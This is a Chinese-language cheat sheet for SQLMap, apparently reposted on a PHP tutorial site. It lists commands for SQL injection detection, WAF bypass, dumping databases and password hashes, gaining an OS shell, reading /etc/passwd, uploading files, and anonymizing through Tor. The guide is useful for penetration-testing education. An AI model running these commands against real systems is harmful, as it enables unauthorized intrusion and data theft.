首頁  >  文章  >  後端開發  >  SQLMap 備忘單:自動 SQL 注入快速指南

SQLMap 備忘單:自動 SQL 注入快速指南

Linda Hamilton
Linda Hamilton原創
2024-09-26 15:30:02929瀏覽

SQLMap Cheat Sheet: A Quick Guide for Automated SQL Injection

作者:Trix Cyrus

什麼是 SQLMap?
SQLMap是一個開源滲透測試工具,用於偵測和利用網路應用程式中的SQL注入漏洞。它支援各種資料庫系統,如 MySQL、PostgreSQL、Oracle、Microsoft SQL Server 等。

基本用法
要開始使用 SQLMap,您可以透過提供目標 URL 以最簡單的形式運行它:

sqlmap -u "http://example.com/index.php?id=1"

此指令掃描目標 URL 是否有 SQL 注入漏洞。

1。偵測漏洞
使用以下選項執行基本的漏洞掃描並自動偵測 SQL 注入點:

sqlmap -u "http://example.com/index.php?id=1" --dbs

--dbs:如果發現漏洞,列出目標伺服器上所有可用的資料庫。

2。指定 POST 請求

對於需要 POST 請求的目標(通常在登入表單中),您可以指定以下資料:

sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"

3。繞過 WAF 和過濾器

為了逃避 Web 應用程式防火牆 (WAF),SQLMap 包含有效負載混淆技術:

sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment

--tamper:使用篡改腳本來逃避過濾器。範例:space2comment、charencode。

4。擷取資料庫、表格和欄位
若要取得目標系統上的資料庫清單:

sqlmap -u "http://example.com/index.php?id=1" --dbs

辨識資料庫後,擷取其表:

sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables

要從特定表中取得欄位:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns

5。轉儲資料

轉儲表的內容是 SQLMap 最有用的功能之一。例如,轉儲特定表中的所有資料:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump

6。枚舉資料庫使用者和密碼

SQLMap 還可以用於枚舉資料庫用戶,甚至破解雜湊密碼:

sqlmap -u "http://example.com/index.php?id=1" --users
sqlmap -u "http://example.com/index.php?id=1" --passwords

7。存取作業系統

在某些情況下,SQLMap可以用來在作業系統上執行指令,特別是當資料庫使用者有進階權限時:

sqlmap -u "http://example.com/index.php?id=1" --os-shell

這將提供一個互動式 shell,您可以在其中在目標系統上執行命令。

8。文件上傳與讀取

您也可以從目標系統讀取檔案或上傳惡意檔案(如果允許):

sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"

9。使用 Tor 進行匿名

要隱藏您的身份,您可以透過 Tor 網路執行 SQLMap:

sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=SOCKS5 --check-tor

--tor:啟用 Tor。
--check-tor:驗證是否透過 Tor 建立連線。

10。保存和恢復會話

SQLMap 讓您可以使用 --session 選項來儲存和復原進度:

sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name

稍後,您可以透過以下方式恢復相同會話:

sqlmap -r your_session_name

11。詳細模式

要查看有關 SQLMap 正在執行的操作的詳細資訊:

sqlmap -u "http://example.com/index.php?id=1" -v 3

-v 選項控制詳細程度(等級從 0 到 6,其中 6 顯示所有詳細資訊)。

  1. 自動掃描多個目標

SQLMap 支援掃描儲存在檔案中的多個 URL:

sqlmap -m urls.txt --batch

--batch:使用預設選項自動回答所有提示,對於自動掃描很有用。

也可以使用 --risk=3 和 --level=5 提前掃描
您可以使用此備忘單向讀者介紹 SQLMap 的基本命令,並協助他們開始 SQL 注入測試。

~TrixSec

以上是SQLMap 備忘單:自動 SQL 注入快速指南的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn